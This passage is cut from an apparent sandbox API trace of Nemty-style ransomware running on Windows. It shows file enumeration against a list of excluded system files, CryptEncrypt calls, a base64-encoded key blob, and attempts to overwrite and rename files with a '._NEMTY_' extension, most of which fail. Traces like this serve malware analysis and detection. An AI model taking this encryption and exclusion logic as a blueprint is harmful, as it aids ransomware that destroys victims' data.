lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Music.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Music.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Music.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Music.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.718] Sleep (dwMilliseconds=0x5) [0101.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf047ab10, dwHighDateTime=0x1d561e7)) [0101.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf047ab10, dwHighDateTime=0x1d561e7)) [0101.725] GetLastError () returned 0x5 [0101.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.725] GetLastError () returned 0x5 [0101.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.726] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.726] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="bpvA4iZ2S2vo+ejIQ+K4WK+MxFjYWU6nW5SgljimJAOOcKAAePetKbmi8PqxBMDH\r\nGG7mNz11l5a0GrJIRQjuXWqZ+hB9lIkv8tDtgXxzukHkw1JJP8yxbwTtrI5TD5CB\r\niUza2xilmzono6biJ9ByL5t/ToFvBNhZWL6srhoaMEVQShtVlNvvbDH5eBTqu2xX\r\nVvRGNBnrngWc14K0Ww0BdF+DigzczjdRrDMksan9kcGAN2jZLC+qOqzUhLTo1hD5\r\nvkZG4cQj4Z3rsHCdTQ9Zw8xIG2V+Hq5idvFvLDTerqbk+H+ojA8sPMCzfPrPdoCo\r\ngUz2aoOW0GvFRqkLFBNEug==\r\n", pcchString=0x653ef9c) returned 1 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.726] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.726] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.850] CloseHandle (hObject=0xffffffff) returned 0 [0101.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp._nemty_kgobjgd_")) returned 0 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.850] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0101.850] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".") returned 1 [0101.850] lstrcmpiW (lpString1="Seyes.jtp", lpString2="..") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="...") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="windows") returned -1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="rsa") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="NTDETECT.COM") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="ntldr") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="MSDOS.SYS") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="IO.SYS") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="boot.ini") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="boot.ini") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="ntuser.dat") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="desktop.ini") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="CONFIG.SYS") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="RECYCLER") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="bootmgr") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="programdata") returned 1 [0101.851] lstrcmpiW (lpString1="Seyes.jtp", lpString2="appdata") returned 1 [0101.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seyes.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seyes.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seyes.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seyes.jtp", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seyes.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.852] Sleep (dwMilliseconds=0x5) [0101.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf05d1770, dwHighDateTime=0x1d561e7)) [0101.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf05d1770, dwHighDateTime=0x1d561e7)) [0101.866] GetLastError () returned 0x5 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.866] GetLastError () returned 0x5 [0101.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.866] HeapFree 